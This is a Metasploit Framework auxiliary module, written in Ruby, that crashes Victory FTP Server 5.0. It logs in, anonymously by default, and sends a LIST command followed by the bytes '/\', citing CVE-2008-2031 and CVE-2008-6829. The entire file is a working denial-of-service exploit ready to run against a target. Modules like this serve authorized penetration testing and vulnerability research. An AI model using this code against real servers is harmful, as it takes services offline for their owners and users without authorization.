##
# $Id: vicftps50_list.rb 9169 2010-04-29 04:47:47Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Ftp
	include Msf::Auxiliary::Dos

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Victory FTP Server 5.0 LIST DoS',
			'Description'    => %q{
				The Victory FTP Server v5.0 can be brought down by sending
				a very simple LIST command
			},
			'Author'         => 'kris katterjohn',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9169 $',
			'References'     =>
				[
					[ 'CVE', '2008-2031' ],
					[ 'CVE', '2008-6829' ],
					[ 'OSVDB', '44608' ],
					[ 'URL', 'http://milw0rm.com/exploits/6834' ]
				],
			'DisclosureDate' => 'Oct 24 2008'))

		# They're required
		register_options([
			OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),
			OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ])
		])
	end

	def run
		return unless connect_login

		print_status("Sending command...")

		# Try to wait for a response
		resp = send_cmd(['LIST', [0x2f, 0x5c].pack('CC')])

		disconnect
	end
end
